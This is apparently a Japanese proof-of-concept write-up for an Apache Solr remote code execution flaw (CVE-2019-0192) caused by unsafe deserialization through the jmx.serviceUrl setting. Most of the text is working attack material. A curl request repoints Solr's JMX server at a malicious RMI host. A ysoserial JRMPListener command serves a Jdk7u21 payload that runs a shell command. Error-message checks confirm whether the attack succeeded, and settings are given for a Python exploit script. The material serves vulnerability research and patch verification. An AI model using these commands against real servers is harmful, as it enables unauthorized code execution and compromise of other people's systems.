
jmx.serviceUrl を介した信頼できないデータのデシリアライゼーションによる Apache Solr での RCE
Apache Solr RCE の初期の PoC です
https://issues.apache.org/jira/browse/SOLR-13301 より:
ConfigAPI は、HTTP POST リクエストを介して Solr の JMX サーバーを設定できます。 これを悪意のある RMI サーバーに向けることで、攻撃者は Solr の安全でない逆シリアライゼーションを悪用して、 Solr 側でリモートコード実行を引き起こす可能性があります。

セキュリティアドバイザリの説明を確認し、Apache Solr の ConfigAPI リソース を調べると、JMX サーバーへの言及を見つけることができます:

serviceUrl - (オプションの str) JMX サーバーのサービス URL。指定しない場合は、デフォルトのプラットフォーム MBean サーバーが使用されます。
ConfigAPI の仕組みを確認することで、リモート JMX サーバーを設定する方法を再現できます:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
PoC では、yoserial を使用して、ペイロード Jdk7u21 を使った悪意のある RMI サーバーを作成します。
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
注: きれいなスタックトレース付きの 500 エラーが返るはずです。
このエラー "Non-annotation type in annotation serial stream" が表示された場合、Apache Solr が JRE 7u25 より新しい Java バージョンで実行されていることを意味するため、この PoC は機能しません。
それ以外の場合は、このエラー "undeclared checked exception; nested exception is" が表示され、PoC は機能するはずです。
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
セキュリティアドバイザリ: